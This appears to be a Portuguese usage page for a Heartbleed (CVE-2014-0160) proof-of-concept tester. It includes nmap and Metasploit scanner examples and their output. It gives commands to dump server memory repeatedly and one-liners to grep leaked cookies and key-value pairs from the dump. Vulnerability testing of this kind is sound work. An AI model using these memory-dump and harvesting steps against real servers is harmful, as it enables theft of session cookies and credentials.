
Teste para vulnerabilidade de heartbeat SSL (CVE-2014-0160)
NB Quase todas as ferramentas (nmap, metasploit, nessus, até mesmo burp) têm as versões mais atualizadas de seus scanners. Estas ferramentas foram lançadas nos estágios iniciais, quando as ferramentas ainda estavam sendo desenvolvidas. Prefira usar aquelas em vez destas agora.
Uso: heartbleed-poc.py servidor [opções]
Testa vulnerabilidade de heartbeat SSL (CVE-2014-0160)
Opções: -h, --help mostra esta mensagem de ajuda e sai -p PORT, --port=PORT Porta TCP para testar (padrão: 443) -n NUM, --num=NUM Número de heartbeats a enviar se vulnerável (define quanta memória você obtém de volta) (padrão: 1) -f FILE, --file=FILE Nome do arquivo para escrever a memória despejada (padrão: dump.bin) -q, --quiet Não exibe o dump de memória -s, --starttls Verifica STARTTLS (apenas smtp no momento)
Varredura normal, atingirá a porta 443, com 1 iteração: python heartbleed-poc.py exemplo.com
Varredura de dump de memória, fará 100 requisições e colocará a saída no arquivo binário dump.bin: python heartbleed-poc.py -n100 -f dump.bin exemplo.com
Certifique-se de obter diferentes partes do HEAP, certifique-se de que o servidor esteja ocupado, caso contrário você terá repetições repetidas.
Verificar um servidor de e-mail com STARTTLS (ou seja, porta 25): python heartbleed-poc.py -s -p 25 exemplo.com
Costumava haver uma chave -v para tornar explícita a versão do TLS, agora isso é detectado automaticamente e foi removido.
O arquivo binário conterá informações interessantes nele, aqui estão algumas formas simples de encontrar os dados:
Requisição HTTP: awk '/[HPG][UEO][AST][DT ]/,/Connection/' dump.bin
Cookies: grep -a "^Cookie:" dump.bin
Pares Chave-Valor Interessantes: pcregrep -ao "[A-Za-z0-9_-]+=[0-9a-zA-Z]+" dump.bin
Uso: nmap --script=ssl-heartbleed -p 443
Exemplo de Saída:
Starting Nmap 6.41SVN ( http://nmap.org ) at 2014-04-09 17:27 SAST
Nmap scan report for <example.org> (1.2.3.4)
Host is up (0.0068s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| Description:
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
| http://www.openssl.org/news/secadv_20140407.txt
|_ http://cvedetails.com/cve/2014-0160/
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
msf > use auxiliary/scanner/ssl/openssl_heartbleed msf auxiliary(openssl_heartbleed) > show options
Module options (auxiliary/scanner/ssl/openssl_heartbleed):
Nome Configuração Atual Obrigatório Descrição
RHOSTS sim O intervalo de endereços alvo ou identificador CIDR RPORT 443 sim A porta alvo STARTTLS None sim Protocolo a usar com STARTTLS, None para evitar STARTTLS (aceito: None, SMTP, IMAP, JABBER, POP3, FTP) THREADS 1 sim O número de threads concorrentes TLSVERSION 1.0 sim Versão TLS a usar (aceito: 1.0, 1.1, 1.2)
msf auxiliary(openssl_heartbleed) > set rhosts example.org rhosts => example.org msf auxiliary(openssl_heartbleed) > set STARTTLS FTP STARTTLS => FTP msf auxiliary(openssl_heartbleed) > set PORT 21 PORT => 21 msf auxiliary(openssl_heartbleed) > exploit
[] 37.187.134.197:21 - Trying to start SSL via FTP [] 37.187.134.197:21 - Sending Client Hello... [] 37.187.134.197:21 - Sending Heartbeat... [] 37.187.134.197:21 - Heartbeat response, checking if there is data leaked... [+] 37.187.134.197:21 - Heartbeat response with leak [] 37.187.134.197:21 - Printable info leaked: @SE F(CKMIWsf"!98532ED/A [] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed